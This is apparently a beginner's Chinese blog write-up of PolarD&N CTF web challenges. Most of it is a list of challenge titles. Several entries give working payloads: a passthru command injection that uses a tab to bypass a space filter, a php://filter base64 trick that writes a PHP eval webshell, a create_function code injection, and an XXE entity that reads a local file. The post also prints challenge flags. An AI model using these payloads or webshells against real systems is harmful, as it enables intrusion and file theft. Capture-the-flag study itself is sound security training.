新人尝试,还请见谅!!!
web简单
swp
进题先扫dirsearch
然后发现了一个叫做/.index.php.swp的备份文件。访问/.index.php.swp
这时我们需要post一个名为xdmtql的变量,然后这个变量不能是数组。不能与/sys.nb/is正则匹配。但是结果的sys nb要在第一位。
但是结果的sys nb要在第一位。
我尝试了用回车绕过,因为.有一个特质:
. | 匹配除换行符 \n 之外的任何单字符。要匹配 . ,请使用 . 。 |
---|---|
* | 匹配前面的子表达式零次或多次。要匹配 * 字符,请使用 *。 |
这就说明,如果换行符应该是不会被检测的。但是还是错的。所以就用回溯绕过法:
运行得到
简单rce
post传参一个yyds=666,这是不会被检测的。然后再用get传参一个sys。这个sys好多被过滤了。system和popen也被过滤了。可以使用exec或者直接用``反引号进行命令执行。
然后空格被过滤了拿%09或者别的${IFS}之类的过去。我们先尝试一下payload:
?sys=passthru( ' ls%09/' );
用passthru执行,%09替换空格
?sys=passthru('sort%09/flag');
sort查看flag
flag{j6856fd063f0a04874311187da1191h6}
蜜雪冰城吉警店
召唤神龙
seek flag
jwt
login
iphone
浮生日记
$$
爆破
XFF
rce1
GET-POST
被黑掉的站
签到题
签到
session文件包含
Don't touch me
robots
php very nice
ezupload
cookie欺骗
upload
干正则
cool
uploader
覆盖
PHP反序列化初试
机器人
扫扫看
debudao
审计
upload1
web中等
到底给不给flag呢
这道题是有关代码审计的,先c=flag然后让flag=c这样被解析之后,就是$c=$flag&$flag=$c,从而达到真正输出flag的作用。而不会用一个变量c把$flag=flag{xxxxxx}给覆盖。那么最后echo出来的就是$flag
?c=flag&flag=c
查看源代码,因为发现有大量“ <br/ >” 阻拦,拉到最底部,
发现flag{7c21614802acfb30b55697b3f5122be1}
写shell
根据经验这时应该输入一句话木马,但是事实告诉我们没有这么简单
?filename=php://filter/convert.base64-decode/resource=shell.php
name=php**<?=@eval($_POST[1]);?>**
我们应该需要在filename这里面写入一个content以达到获取flag的效果。那么这就应该写入一句话木马,那么前面的exit()该如何越过成了问题。看一下wp,发现可以使用base64解密的方式进行绕过。那么就将命令加密,并且前面加上任意一个字母进行分隔,payload:
?filename=php://filter/convert.base64-decode/resource=shell.php
content=aPD89QGV2YWwoJF9QT1NUWzFdKTs/Pg==
然后访问/shell.php发现木马被读入,我们用蚁剑连接一下:
某函数的复仇
由于怎么也想不到是哪个函数,我们直接去看了wp。发现是create_function()这个函数。他会直接执行这个创建的新函数。不过它需要一个闭合和一个注释。所以我们构造payload:
?root=;}system('ca\t /f*');/*
shaw=create_function
xxe
先用dir扫一扫
发现了/dom.php
然后就找到了报错信息,去找了一下xxe漏洞的攻击方式,然后根据wp构造payload:
<?xml version = "1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=flagggg.php">
]>
<name>&xxe;</name>
]>
base64解码后得到flag。
标签:web,base64,09,flag,PolarD,sys,CTF,php From: https://www.cnblogs.com/gsxmuzili/p/18303701/lygsx